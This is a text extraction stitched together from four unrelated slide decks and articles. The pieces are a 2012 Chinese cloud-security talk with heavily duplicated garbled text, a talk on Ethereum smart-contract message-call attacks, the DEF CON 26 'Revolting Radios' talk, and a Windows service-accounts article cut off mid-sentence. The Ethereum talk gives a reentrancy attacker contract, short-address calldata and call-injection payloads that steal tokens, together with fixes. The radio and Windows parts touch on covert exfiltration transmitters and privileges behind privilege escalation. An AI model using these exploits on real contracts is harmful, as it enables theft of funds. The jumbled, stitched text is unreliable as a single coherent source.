© 2012 @IDF.cn 安全改變未來 網絡使生活更美好 萬濤 ChinaEagle IDF互聯網威懾防禦實驗室 中國電子學會計算機取證專家委員會 1 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 智慧的地球對安全的需求 這個星球變得越來越... 機械化,,,, 互聯 化 智能....化 ““““我們在過去十年中看 到的變化比再之前90 90 90 90 年的總和都要多”””” Ad J. Scheepbouwer, CEO, KPN Telecom Privacy and identity controls Information protection and recovery Infrastructure and application protection Governance and policy management 新的成為可能 新的複雜性 新的風險. . . . GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC 2 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 中國,僵屍電腦第一生產大國 網頁掛馬帶來的最直接後果——“僵屍”如瘟疫般蔓延 美國僵屍生產力下降,而中國保持穩步增長,已佔據了生產僵屍電腦第一大國的位置 數據來源:邁克菲威脅報告 3 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 "駭客經濟"模式已基本形成,規模龐大,日趨複雜 4 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 威脅發展特點 攻擊產業化,威脅數量激增 攻擊自動化,快速蔓延 攻擊智能化,威脅技術多樣化 威脅端到端,依靠單安全組件如何應對? 如何做到全方位立體防護? 5 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 6 智慧的地球面臨安全的挑戰 Source http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html 複雜性增加 成本增加 合規性要求 安全專案的核心驅動力 僅僅統計了美國的公司在 2010年中用於風險治理和 合規的花肥超過了290億 美金 保護每一個客戶記錄需 要204美元 很快連接在網路上的設備 將超過1萬億臺, 組成一個 “Internet事務” 6 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 對數據安全和私密性保護的擔心是最主要的 – 但並不是唯一的 共有雲服務 69% 69% 69% 69% 54% 54% 54% 54% 53% 53% 53% 53% 52% 52% 52% 52% 47% 47% 47% 47% 公司數據的安全和隱密性 服務品質 對成本節省的懷疑 網路回應能力是否迅速 與內部 IT集成的困難性 Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Respondents could select multiple items Source: Cloud Market Insights, Cloud Computing Research, July 2009. n=1,090 7 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 特殊用戶對雲計算安全的擔憂 保護知識產權和數據 合規性的能力 非授權使用數據 數據機密性 數據可用性 數據完整性 可以測試和審計供應商的環境 其他 30% 30% 30% 30% 21% 21% 21% 21% 15% 15% 15% 15% 12% 12% 12% 12% 9% 9% 9% 9% 8% 8% 8% 8% 6% 6% 6% 6% 3% 3% 3% 3% Source: Deloitte Enterprise@Risk: Privacy and Data Protection Survey Source: Deloitte Enterprise@Risk: Privacy and Data Protection Survey Source: Deloitte Enterprise@Risk: Privacy and Data Protection Survey Source: Deloitte Enterprise@Risk: Privacy and Data Protection Survey 8 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 9 現在是換個思路考慮安全的時候了 虛擬化 電話服務 外包 雲計算 安全要適應新興的技術和商業模式 從設計就開始考慮產品和服務的安全性 9 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 雲的屬性極大地影響資訊安全 10 10 10 10 外部實施 多層租賃 快速供應 自服務 內部實施 單層租賃 慢供應 IT服務 10 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 虛擬化所帶來的安全複雜性 新的複雜性 –動態地重新分配VM –增加的架構層來管理和保護 –一個物理伺服器上有多種操 作系統和應用 –系統之間取消了物理的隔閡 –手動地跟蹤軟體和配置 VMs • 1:1 OS和服 務在一個物 理機上 • 1:多 操作系統和服務在一 個物理機上 • 多出來一層來進行管理和 保護 虛擬化之後 虛擬化之前 11 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 *Source: RSA Security Brief: Security Compliance in a Virtual World http://www.rsa.com/solutions/technology/secure/wp/10393_VIRT_BRF_0809.pdf 變更和配置流程需要按照虛擬化的框架來進行擴 展: – 在動態的環境下管理員增加的了成本和複雜 性 – 確保不定管理延伸到虛擬環境中 在高度整合的情況下保持獨立訪問控制 提供虛擬伺服器和虛擬網路的安全分段 維護虛擬審計日誌 在虛擬化環境下安全合規的最佳實踐 12 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 ???? 我們控制 它位於 X. 塔被存儲在伺服器Y, Z. 我們有備份 我們的管理員控制訪問. 我們的線上時間足夠 審計員高興. 我們的安全團隊被引入. 誰能控制 它位於那裏? 它存儲在那裏? 誰來備份? 誰來訪問? 是否有足夠的彈性? 審計員如何評論? 安全團隊如何引入? ???? ???? ???? ???? ???? 今天的數據中心 明天的雲 雲計算安全:簡單的例子 13 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 雲計算風險類別 很少的控制 客戶期望對系統進行有效管理 數據安全 在共用的網路和數據中心,數據 訪問控制尤其重要 可靠性 數據中心的高可用性尤其重要 合規 SOX, HIPAA SOX, HIPAA SOX, HIPAA SOX, HIPAA 等合規要求 安全管理 應用和錯作系統的安全設置和管 理 14 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 低風險 中等風險 高風險 核心雲環境以及 個人資訊 商業風險 需要安全 保護 低 高 培訓,,,,測試雲環 境以及非敏感 資訊 今天的雲:::: ● 低風險負載 ● 數據保護的方法單一 ● 沒有顯著的擔保 ● 價格是關鍵 明天高價值高風險的 雲環境:::: ● 高質量的風險保護 ● 直接可見和控制 ● 顯著水準的擔保 用來分析和模 擬的雲環境以 及公共資訊 一人難稱百人意 不同的雲環境有不同的安全風險 15 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 數據隔離 數據恢復 調查支持 法規合規 數據定位 特權用戶訪問 災難恢復 Gartner: Assessing the Security Risks of Cloud Computing, June 2008 Gartner的雲計算安全風險分析 16 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶需要清晰的瞭解他們的雲安全狀態 建立第三方審計 (SAS 70, ISO27001, PCI) 提供使用者日誌和審計數據訪問 建立有效的使用者事故報告機制 可視化的變化,事故和映像管理等 支持電子數據取證和發現 實施監管和審計的管理程式 安全監管,風險管理和合規 安全監管,風險管理和合規 可用的產品,服務和解決方案 Cloud Cloud Cloud Cloud Security Framework Security Framework Security Framework Security Framework Cloud Security Cloud Security Cloud Security Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Security Security Security Security Products and Services Products and Services Products and Services Products and Services Cloud Cloud Cloud Cloud Resiliency Consulting Resiliency Consulting Resiliency Consulting Resiliency Consulting Services Services Services Services 評估和計畫 –––– 彈性的雲驗證 全面的評估機構現有的災難恢復計畫及與 環境的一致性。 Cloud Cloud Cloud Cloud Security Risk Security Risk Security Risk Security Risk Assessment Assessment Assessment Assessment 創建路線路來評估安全和減少風險 全面的評估機構現有的安全策略,過程, 控制和機制評估。 17 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶需要雲提供嚴格的身份驗證 實施增強的身份和訪問控制 可用的產品,服務和解決方案 Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Cloud Security Cloud Security Cloud Security Cloud Security Products and Services Products and Services Products and Services Products and Services Federated Identity Manager 雲身份安全管理 採用用戶中心聯合身份管理,提高客戶滿意度和合作能 力 人員和身份 人員和身份 Security Information and Event Manager 優化安全和合規工作 監視可能導致資訊風險的用戶偶然或惡 意的行為 特權用戶監視,包括日誌活動,物理監視和背景檢查 利用聯合身份,協調與企業或第三方體系認證和授權 一個以基於標準的單點登錄功能可以幫助簡化用戶對內部託管程式和雲的登錄 生物識別技術改變傳統帳戶密碼模式 18 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶最關心的就是數據安全 使用安全的網路協議時,連接到安全的資訊存儲。 採用防火牆來隔離機密資訊,並確保所有機密資訊存儲在防火牆後面。 業務無關的敏感資訊應該安全的銷毀 確保機密資訊的安全 可用的Cloud Cloud Cloud Cloud產品,服務和解決方案 Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Cloud Security Cloud Security Cloud Security Cloud Security Products and Services Products and Services Products and Services Products and Services 數據和資訊 數據和資訊 Cloud Data Security Services Cloud Data Security Services Cloud Data Security Services Cloud Data Security Services 保護數據支持商業創新 提供防止網路數據丟失,端點加密, 防止終端數據丟失和日誌分析的方案 Cloud Information Protection Cloud Information Protection Cloud Information Protection Cloud Information Protection Services Services Services Services 持續的數據保護 •遠程數據保護服務 •電子郵件敏捷管理 •線上的快速保護 19 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶需要安全的雲應用程式和供應流程 . 實施應用管理和映像提供程式. 實施安全應用測試計畫 確保所有的虛擬映像和應用程式的修改都進行記錄. 為所有的web應用開發使用安全編碼指南 建立應用程式和環境配置 可用的Cloud Cloud Cloud Cloud產品,服務和解決方案 Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Cloud Security Cloud Security Cloud Security Cloud Security Products and Services Products and Services Products and Services Products and Services Cloud AppScan/WAF Web Web Web Web應用程式的安全漏洞測試與保護 提供具有可擴展的企業架構,可集中 並行掃描或保護多個應用程式的解 決方案。 應用程式和過程 應用程式和過程 Cloud XML Security Gateway 代碼級的面向Web Web Web Web的應用程式安全漏洞解決 方案 提供對Web應用程式的安全保護,策略管理 和監管的持續的集成的解決方案 20 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶期待安全的雲操作環境 . 承租人域之間的隔離 信賴的虛擬域:基於策略的安全區域 內置的入侵檢測和防護 漏洞管理 保護機器影響防止損壞和濫用 維護環境測試和漏洞、入侵管理 可用的Cloud Cloud Cloud Cloud產品,服務和解決方案 Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Cloud Security Cloud Security Cloud Security Cloud Security Products and Services Products and Services Products and Services Products and Services Cloud Virtual Server Security for Cloud Virtual Server Security for Cloud Virtual Server Security for Cloud Virtual Server Security for VMware VMware VMware VMware 保護雲基礎架構 提供領先的入侵防護,防火牆和虛擬環境安全的 可視化管理 網路,伺服器和終端 網路,伺服器和終端 Cloud Endpoint Data Protection Cloud Endpoint Data Protection Cloud Endpoint Data Protection Cloud Endpoint Data Protection 敏感資訊的遠程保護 •阻止丟失或失竊的設備訪問數據 •敏感數據的存儲,訪問,傳輸或共用保護 •監控敏感數據的訪問 •最終用戶級的增強策略管理 21 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 客戶期望雲數據中心是物理安全的 . 確保設備具有適當控制能力以監控訪問 防止關鍵領域和設施的未授權訪問. 確保所有可直接訪問系統的員工都通過充分的背景檢查。 對自然災害可能造成的損失提供足夠的保護 實現一個物理環境的安全計畫 可用的Cloud Cloud Cloud Cloud產品,服務和解決方案 Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Security Framework Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Cloud Cloud Security Guidance Document Guidance Document Guidance Document Guidance Document Cloud Security Cloud Security Cloud Security Cloud Security Products and Services Products and Services Products and Services Products and Services Cloud Physical Security Services 物理環境的安全防護 可與您的網路和IT系統集成的整套的數字安全解決方案和現場評估。 物理安全 物理安全 22 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 Cloud 安全組合 … … 新瓶裝舊酒? = = = = 專業服務 = = = = 產品 = = = = 基於雲的服務與管理 身份和訪問控制 身份和訪問控制 資料庫監控和保護 資料庫監控和保護 加密和密鑰週期管理 加密和密鑰週期管理 應用程式漏洞掃描 應用程式漏洞掃描 訪問和授權管理 訪問和授權管理 網路應用防火牆 網路應用防火牆 數據丟失防護 數據丟失防護 SOA 安全 SOA 安全 通信安全 通信安全 數據遮罩 數據遮罩 電子郵件安全 電子郵件安全 應用程式安全 應用程式安全 身份管理 身份管理 數據安全 數據安全 訪問控制 訪問控制 GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC 物理安全 物理安全 安全管理,風險與合規 安全管理,風險與合規 SIEM 和日誌管理 SIEM 和日誌管理 Web / URL 過濾 Web / URL 過濾 主機安全審計,管理與合規 主機安全審計,管理與合規 虛擬系統安全 虛擬系統安全 入侵保護系統 入侵保護系統 基礎設施安全 基礎設施安全 Web/URL 過濾 Web/URL 過濾 漏洞評估 漏洞評估 防火牆, IDS/IPS, MFS 管理. 防火牆, IDS/IPS, MFS 管理. 安全事件管理 安全事件管理 安全威脅分析 安全威脅分析 安全配置和補 丁管理 安全配置和補 丁管理 終端保護 終端保護 23 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 Smart Security Service Smart Security Service Smart Security Service Smart Security Service Cloud Cloud Cloud Cloud – – – –智慧的安全服務管理雲 智慧的安全服務管理雲 智慧的安全服務管理雲 智慧的安全服務管理雲 Infrastructure as a Service (IaaS) Platform as a Service (PaaS) High Volume Transactions Software as a Service (SaaS) 伺服器 網路 存儲 中間件 協同合作 業務流程 CRM/ERP/HR 行業應用 數據中心 Fabric 共用的虛擬化的,動態交付 資料庫 Web 2.0 應用運行環境 Java運行環境 開發工具 安全服務管理雲 跨越PaaS 層和Ia Ia Ia IaaS aS aS aS 層 安全服務管理雲 世界級的安全監控 系統與取證工具 企業級的高性能安全 防護軟硬體產品 高標準的安全服務 管理體系和技術支 持回應能力 提高安全事件分析效率,實現安全資源集 中和有效分配 安全管理標準化和自動化,全面提高資訊安全風險管理水準 快速提高安全事件回應速度,提高安全跨地 域管理效率 安全資源共用的服務平臺,全面監控發現與快速回應安全事件 安全服務管理雲 24 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 Smart Security Service Cloud – 智慧的安全服務管理雲 25 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 智慧的安全服務管理雲的架構設計符合資訊安全生命週期PDCA PDCA PDCA PDCA 迴圈生態模型和ISO27001 ISO27001 ISO27001 ISO27001等國際資訊安全標準 安全監控管理雲 安全調查取證雲 安全服務支持雲 安全服務窗口雲 安全基礎服務雲 26 © 2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 謝謝!!!! twitter: @chinawill2012 www.facebook.com/eaglewan Skype: eaglewan2012 27
pdf
智能合约消息调用攻防 隐形人真忙 [at] 百度安全 关于作者 ID:隐形人真忙 Title:百度安全工程师 Work:从事攻防技术研究 & 安全产品研发 Weibo:https://weibo.com/alivexploitcat 微博关注 以太坊架构与 攻击面介绍 EVM消息调 用原理剖析 消息调用攻防 议题总结 以太坊架构与攻击面介绍 以太坊架构以各个攻击面 Web3.js 传统Web安全漏洞 去中心化应用 智能合约层 EVM虚拟机 RPC层 Block Chain Block 共 识 算 法 PoW PoS Miner Network P2P Crypto Solidity … Transaction Database Agent CPU/GPU Worker Peer Protocol Sync 智能合约代码漏洞 EVM机制特性、缺陷 RPC未授权访问、DoS漏洞等 共识协议缺陷 51%攻击 P2P网络漏洞 Eclipse攻击 Miner算法、逻辑漏洞 钱包漏洞、密钥泄露等 EVM消息调用原理剖析 什么是消息调用(Message Call) • 是一种从一个以太坊账户向另一个账户发送消息的行为 • 可以用于转账、跨合约方法调用 • 一次消息调用可以携带数据 • data: 全部的calldata • gas: 执行交易携带的gas • sender: 发送者的地址 • sig: calldata的前四个字节 • value: 以太币数额 基本概念 msg结构 跨合约方法调用原理 ABI规范 合约1 合约2 gas 调用发起方 调用执行方 value data • 调用发起合约: Client • 调用执行合约: Server • ABI: HTTP协议 • Gas/value/data: HTTP Data Web Database Contract Block chain msg 跨合约方法调用原理 • <address>.call(方法选择器, arg1, arg2, …) • <address>.call(bytes) 调用形式 call参数详解 • 方法选择器(4 bytes) • 方法摘要:test(uint256,uint256) • bytes4(bytes32(sha3(“test(uint256,uint256)”))) • 参数列表(N bytes) • 按照一定的格式对不同类型的参数进行编排 • 32字节一个单位,不够的高位补0 • 方法选择器 • 0xeb8ac921 • 参数1 • 0x0000000000000000000000000000000000000 000000000000000000000000001 • 参数2 • 0x0000000000000000000000000000000000000 000000000000000000000000002 Calldata: 0xeb8ac921000000000000000000000000000 0000000000000000000000000000000000001 0000000000000000000000000000000000000 000000000000000000000000002 调用 test(1, 2) ABI 规 范 跨合约方法调用原理 智能合约消息调用攻防 消息调用的一些特性 • 外部方法调用深度最大为1024,超过1024则调用失败 • 即使调用过程中出现异常,但是call本身不会抛出异常 • 获取不到执行方法的返回值,只返回true和false • call调用链中,msg.sender是按照最近一次发起对象来确定的 • EVM分解参数时存在参数填充和参数截断的特性 Reentrancy漏洞 Bank Contract contract Bank{ function withdraw(){ uint amountToWithdraw = balances[msg.sender] ; if(msg.sender.call.value(amountToWithdraw)() == false){ throw ; } balances[msg.sender] = 0 ; } } • <address>.send(ethValue) • 2300 gas • <address>.transfer(ethValue) • 2300 gas • <address>.call.value(ethValue)() • 所有可用gas User Contract contract User{ function money(address addr){ Bank(addr).withdraw() ; } function () payable{ //some log codes } } contract Attacker{ function money(address addr){ Bank(addr).withdraw() ; } function () payable{ Bank(addr).withdraw() ; } } Attack Contract ① ② ③ ④ 发送所有gas Reentrancy漏洞 Bank Contract contract Bank{ function withdraw(){ uint amountToWithdraw = balances[msg.sender] ; if(msg.sender.call.value(amountToWithdraw)() == false){ throw ; } balances[msg.sender] = 0 ; } } contract Attacker{ function money(address addr){ Bank(addr).withdraw() ; } function () payable{ Bank(addr).withdraw() ; } } Attack Contract 防护手段 • 使用sender/transfer代替call • 对状态变量操作要尽量提前 • 对转账操作失败的情况进行throw TheDAO事件 5000多万美元 被盗 …… 10 ether withdraw 10 ether withdraw 短地址攻击 EVM获取参数的方式 calldataload指令 • calldataload(position) • 从position开始的位置截取32字节数据 • 调用了两次calldataload 短地址攻击 • Method Id • a9059cbb transfer(address,uint256) • Address • 0000000000000000000000003f54699F7991023Cd4F7Bf2 C89369dA6bc95b500 • Value • 0000000000000000000000000000000000000000000000 000000000000000002 Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b500, 2) msg.data 攻击过程 ETH靓号地址: 3f54699F7991023Cd4F7Bf2C89369dA6bc95b5 00 3f54699F7991023Cd4F7Bf2C89369dA6bc95b5 _ _ 不满32字节 0000000000000000000000003f54699F7991023Cd 4F7Bf2C89369dA6bc95b5 00 00 00000000000000000000000000000000000 000000000000000000000000002 00 RightPadBytes 000000000000000000000000000000000000000 0000000000000000000000200 短地址攻击 Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b500, 0x2) Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b5, 0x200) Value被放大256倍 modifier onlyPayloadSize(uint256 size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) { // some codes } 修复方案 新场景:Call注入漏洞 新场景:call注入漏洞  call调用形式: <address>.call(bytes4 selection, arg1, arg2, ...)  可以直接传入bytes: <address>.call(bytes data)  在被调用方法中的msg.sender是调用发起的一方 Address(A) Message call 方法B msg.sender == Address(A) 新场景:call注入漏洞  攻击模型 • 参数列表可控 • <address>.call(bytes4 selection, arg1, arg2, ...) • 方法选择器可控 • <address>.call(bytes4 selection, arg1, arg2, ...) • Bytes可控 • <address>.call(bytes data) • <address>.call(msg.data)  Sender转换 • 利用合约中的call注入调用合约内部方法 • Sender为合约的地址,而不再是最开始发起者 的地址 敏感操作 合约内部call Sender转换 发起恶意调用 Contract A{ function pwn(address addr, bytes data){ B(addr).info(data) ; } } Contract B{ function info(bytes data){ this.call(data) ; } function secret() public{ require(this == msg.sender); // secret operations } } Call B.secret(); 新场景:call注入漏洞 直接注入bytes transfer 正常用户 Contract • transfer的msg.sender是用户自身 • 修改余额是用户本身的余额 Contract 注入 approveAndCallcode( addressOfContract, 0, hex"0xa9059cbb…….000000000000000000a“) 攻击者 transfer approveAndCallcode • transfer的msg.sender是合约账户 • 修改余额是合约账户的余额 token失窃 transfer approveAndCallcode 新场景:call注入漏洞 进一步拓宽攻击面——EVM参数截断问题 EVM具体行为 • call调用方法不检测参数个数 • 参数个数不一致,编译不会报错 • 如果给定参数个数大于被调用方法 的个数,则截断处理 新场景:call注入漏洞 方法选择器可控拓宽攻击面 approve 正常用户 Contract • approve的msg.sender是用户 Contract 注入 logAndCall(addressOfContract, 10, hex"0a", "approve(address,uint256)") 攻击者 approve logAndCall • approve的msg.sender是合约 function logAndCall(address _to, uint _value, bytes data, string _fallback){ // some code // ….. assert(_to.call(bytes4(keccak256(_fallback)), msg.sender, _value, _data)) ; //…… } 新场景:call注入漏洞 call注入使权限校验失效 新场景:call注入漏洞 ERC223支持Token交易的callback • ERC223是ERC20的升级版 • ERC223支持某些方法的回调 • 很多ERC223标准的实现中带入call注入 新场景:call注入漏洞 modifier banContractSelf() { if(msg.sender == address(this)) { throw; } _; } function approve(address _to, uint256 _value) banContractSelf{ // some codes } 修复方案 • 对于敏感操作,检查sender是否为this • 使用private和internal限制访问 议题总结 议题总结 应用流行 安全漏洞 特性 漏洞 一切只是刚刚开始 以太坊 其他公链 暴涨的市值 专业的猎手 更多攻击面 经济价值 Thanks
pdf
Revolting Radios Get it? It’s a pun! Thanks Mike Walters Ang Cui Schuyler St. Leger Taylor Streetman Sergey Bratus Travis Goodspeed A little background “One of the things that makes Orwell's '1984' scary is the way it uses technology. In Orwell’s dystopia, tech is a one-sided means of control. The powers that be use machines for pervasive surveillance, to weaken your sense of self and to make real change feel impossible. Humans deprived of any private space are uniquely vulnerable, and Big Brother knows it.” - DEF CON 26 theme “Let’s over-commit to that theme.” - Mike & Dominic Who are we? Michael Ossmann Founder and CEO of Great Scott Gadgets Dominic Spill Security Researcher at Great Scott Gadgets Breadboard SDR Scenario We’ve found that we can reprogram one of Big Brother’s telescreens and stream samples from the auxiliary Analog to Digital Converter (ADC) in its microcontroller. Can we build a radio receiver out of this microcontroller? Breadboard SDR When you build a radio in software, you don’t need much hardware Clock Signal Transmitters Scenario We need to exfiltrate data from one of Big Brother’s air-gapped networks. We have an ally but no radio transmitter inside. Can our ally reprogram a microcontroller on the inside to transmit data over the air? Toggling IO Pins Miek’s OOK transmitter https://gfycat.com/gifs/detail/cloudyinfamouscapybara Ang Cui’s Funtenna http://www.funtenna.org/CuiBH2015.pdf Raspberry Pi FM https://github.com/PNPtutorials/FM_Transmitter_RPi3 GreatFET One PLL Transmitter Real World Radios Our demonstration target used a frequency deviation of +/-25 kHz and a center frequency of 315.005 MHz. We transmitted with a frequency deviation of +/-50 kHz at a center frequency of 315.050 MHz, and it worked! If it oscillates like a radio and emits like a radio It’s a radio GPIO Pin Receiver Scenario Big Brother has updated telescreens to a new version without an Analog to Digital Converter (ADC) and has restricted distribution of ADCs in an effort to prevent improvised radio receivers. Can we use a General-Purpose I/O (GPIO) pin on a microcontroller to implement a receiver without an ADC? 1 bit ought to be enough for anybody Direction finder to PSK transmitter Scenario Big Brother has deployed pseudo-Doppler direction finders to track down illegal radio transmitters. Can we steal a direction finder and use it as a direction finding countermeasure? Pseudo-Doppler Direction Finding Using an antenna switching board, we rapidly change antenna Pseudo-Doppler Redux, Shmoocon 2018 - https://archive.org/details/Shmoocon2018/Shmoocon2018-Pseudo-dopplerRedux.mp4 Opera Cake antenna switch Phase shifting Switching from one antenna to another that is closer or farther from the other end of the link introduces a phase shift. Switching from one cable to another that is longer or shorter introduces a phase shift. Adding phase shifts circumvents pseudo-Doppler Scenario Since we can affect the phase, can we use a direction finder to implement a Phase Shift-Keying (PSK) transmitter? Opera Cake with delay lines for adding phase shifts An external modulator can add a covert channel References https://github.com/greatscottgadgets/greatfet/tree/rfhax https://github.com/mossmann/hackrf Find us on Twitter: @michaelossmann / @dominicgs
pdf
Windows 安全 - 服务篇(2) 0x00 前言 上一篇主要是Windows服务的基础架构,这一篇主要记录服务账户。账户和安全的关系非常紧密,熟练 掌握服务账户的知识,对理解很多服务相关的安全问题是非常重要的。 服务账户涉及的知识非常多,除了基础的4类:Local System、Network Service、Local Service、 Service Account以外,还有服务隔离、虚拟服务账户、交互式服务检测、Session 0隔离。 0x01 服务账户 在早期的windows系统中,服务是运行在本地系统账户权限下的,例如:SYSTEM、LocalSystem。这个 权限是非常大的,后面慢慢出现了网络服务账户和本地服务账户,它们的权限就相对低了很多。 本地系统账户 Windows用户模式下的核心组件也运行在本地系统账户下,例如:Session管理(Smss.exe)、 Windows子系统进程(Csrss.exe)、本地安全认证进程(Lsass.exe)、登录进程(Winlogon.exe)。 这个账户权限是非常高的,有以下特性: 是本地管理员组成员,具体看下文中的服务账户的组关系表。 具有所有权限,具体情况看服务账户的权限分配情况表。 能够访问大部分文件和注册表 默认用户profile位于HKU\.DEFAULT 如果是域中的电脑,本地系统账户包含了机器SID,因此同森林下的运行在本地管理账户下的服务 认证别的机器将使用机器账户 除非机器账户本限制,否则服务进程能够使用空sessions(也就是无认证)访问网络资源。当然你 也可以使用注册表HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters来执 行分享和管道使用空sessions(NullSessionPopes、NullSessionShares) 网络服务账户 网络服务账户顾名思义,是服务想通过认证别的机器所使用的账户。网络服务账户相对于本地系统账 户,权限就低了很多,并不属于管理员组,对注册表和文件的访问权限也低了很多,不能用来加载驱动 和打开任意进程。网络服务账户的用户profile位于HKU\S-1-5-20,相关的文件在目 录%systemRoot%\ServiceProfiles\NetworkService中。比较常见的运行在网络服务账户下面的服务 有:DNS client。 说到这儿你有没有想到土豆提权系列,服务账户和土豆提权系列有很大的关系,这也是为什么我先写 windows服务的基础知识,后面会接着写土豆提权系列的原因。 本地服务账户 本地服务账户和本地网络账户本质上是相同的,唯一的不同是关于网络访问这块儿,网络服务账户可以 匿名访问网络资源,而本地服务账户不行。本地服务账户的用户Profile位于HKU\S-1-5-19,并且文件目 录位%SystemRoot%\ServiceProfiles\LocalService. 比较常见的运行在本地服务账户下的服务有:远程注册表服务、LmHosts服务。 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-17 No. 1 / 4 - Welcome to www.red-team.cn Local System Network Service Local Service Service Account Administrators Everyone Everyone Everyone Everyone Users Users Users Authenticated Users Authenticated Users Authenticated Users Authenticated Users Local Local Local Network service Local service Local service Console logon Console logon All Services UWP capabilities groups Write restricted Console logon 系统 系统 系统 高 在上文中都提到了用户Profile,应该很多同学不清楚它是干什么的,为什么特地的指出不同账户的用户 profile。想了解的同学可以阅读https://docs.microsoft.com/en-us/previous-versions/windows/deskt op/legacy/bb776892(v=vs.85),后面我也会单独拿出来写。除此上文中还例举了一些使用某服务账户的 默认服务,这个也是非常重要的,你仔细看下文权限表中的权限分配SeImpersonatePrivilege,服务相 关账户都具备这个权限,这也是土豆提权的前置条件之一,而这些默认服务启动的进程必然是具备这个 权限的,所以梳理各种默认服务对分析理解土豆提权的攻击面非常重要。 服务账户的组关系表 ps:Windows定义了4中完整性水平:低、中、高、系统,详情可以阅读:https://docs.microsoft.co m/en-us/windows/win32/secauthz/mandatory-integrity-control 服务账户权限分配情况表 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-17 No. 2 / 4 - Welcome to www.red-team.cn Lcoal System Local Service/Network Service Service Account SeAssignPrimaryTokenPrivilege SeAssignPrimaryTokenPrivilege SeChangeNotifyPrivilege SeAuditPrivilege SeAuditPrivilege SeCreateGlobalPrivilege SeBackupPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeIncreaseWorkingSetPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeShutdownPrivilege SeCreatePagefilePrivilege SeIncreaseQuotaPrivilege SeTimeZonePrivilege SeCreatePermanentPrivilege SeIncreaseWorkingSetPrivilege SeUndockPrivilege SeCreateSymbolicLinkPrivilege SeShutdownPrivilege SeCreateTokenPrivilege SeSystemtimePrivilege SeDebugPrivilege SeTimeZonePrivilege SeDelegateSessionUserImpersonatePrivilege SeUndockPrivilege(client only) SeImpersonatePrivilege SeIncreaseBasePriorityPrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege SeLoadDriverPrivilege SeLockMemoryPrivilege SeManageVolumePrivilege SeProfileSingleProcessPrivilege SeRestorePrivilege SeSeccurityPrivilege SeShutdownPrivilege SeSystemEnvironmentPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeTakeOwnershipPrivilege SeTcbPrivilege SeTimeZonePrivilege SeTrustedCredManAccessPrivilege SeRelabelPrivilege SeUndockPrivilege(client only) 0x02 服务隔离 为了限制服务对系统资源的访问,让不同的服务能够访问不同的系统资源,做到服务隔离,服务SID诞生 了。服务SID可以针对每个服务启用,这样让ACL可以细化到具体每个服务,而不是默认的服务账户。在 这儿你可能会想,服务不是可以以自定义账户启动么?我们每一个服务自己都创建一个合适权限的账户 